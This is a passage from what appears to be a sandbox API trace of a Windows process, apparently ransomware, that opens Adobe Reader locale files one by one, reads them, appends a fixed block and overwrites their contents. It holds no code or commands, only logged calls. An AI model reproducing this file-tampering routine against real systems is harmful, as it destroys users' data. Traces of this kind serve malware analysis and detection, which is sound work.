lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.897] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.897] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.897] CloseHandle (hObject=0x198) returned 1 [0042.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.898] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.898] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1c00 [0042.898] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.898] ReleaseMutex (hMutex=0x128) returned 1 [0042.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0042.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SKY", lpUsedDefaultChar=0x0) returned 19 [0042.898] ReadFile (in: hFile=0x198, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0042.913] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.914] WriteFile (in: hFile=0x198, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0042.914] CloseHandle (hObject=0x198) returned 1 [0042.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Multimedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\multimedia.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x13600 [0042.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] ReleaseMutex (hMutex=0x128) returned 1 [0042.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SKY", lpUsedDefaultChar=0x0) returned 14 [0042.915] ReadFile (in: hFile=0x198, lpBuffer=0x271c048, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.919] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12600 [0042.919] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.922] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12600 [0042.922] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.922] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.922] WriteFile (in: hFile=0x198, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.922] CloseHandle (hObject=0x198) returned 1 [0042.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.923] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.923] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe7 [0042.923] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] ReleaseMutex (hMutex=0x128) returned 1 [0042.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0042.923] ReadFile (in: hFile=0x198, lpBuffer=0x27cf188, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27cf188*, lpNumberOfBytesRead=0x2e0f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0042.924] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.924] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0042.924] CloseHandle (hObject=0x198) returned 1 [0042.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DigSig.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\digsig.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e000 [0042.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] ReleaseMutex (hMutex=0x128) returned 1 [0042.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SLV", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SLV", lpUsedDefaultChar=0x0) returned 10 [0042.925] ReadFile (in: hFile=0x198, lpBuffer=0x271c048, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.461] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1d000 [0043.461] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.467] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1d000 [0043.468] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.468] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.468] WriteFile (in: hFile=0x198, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.468] CloseHandle (hObject=0x198) returned 1 [0043.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\ReadOutLoud.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\readoutloud.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2a00 [0043.469] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.469] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.469] ReleaseMutex (hMutex=0x128) returned 1 [0043.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x1e6320c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SLV", lpUsedDefaultChar=0x0) returned 15 [0043.469] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.472] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0043.472] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.473] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0043.473] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.473] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.473] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.473] CloseHandle (hObject=0x198) returned 1 [0043.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.474] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.474] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa400 [0043.474] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.474] ReleaseMutex (hMutex=0x128) returned 1 [0043.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0043.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SVE", lpUsedDefaultChar=0x0) returned 17 [0043.474] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.477] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9400 [0043.477] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9400 [0043.480] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.480] WriteFile (in: hFile=0x198, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.480] CloseHandle (hObject=0x198) returned 1 [0043.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\IA32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ia32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.481] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.481] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe00 [0043.481] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.481] ReleaseMutex (hMutex=0x128) returned 1 [0043.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SVE", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SVE", lpUsedDefaultChar=0x0) returned 8 [0043.481] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0043.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0043.486] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0043.486] CloseHandle (hObject=0x198) returned 1 [0043.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3c00 [0043.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.487] ReleaseMutex (hMutex=0x128) returned 1 [0043.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0043.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SVE", lpUsedDefaultChar=0x0) returned 12 [0043.487] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.488] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0043.488] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0043.490] WriteFile (in: hFile=0x198, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.491] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.491] CloseHandle (hObject=0x198) returned 1 [0043.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\BRdlang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\brdlang32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.491] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.491] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3400 [0043.491] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.491] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.491] 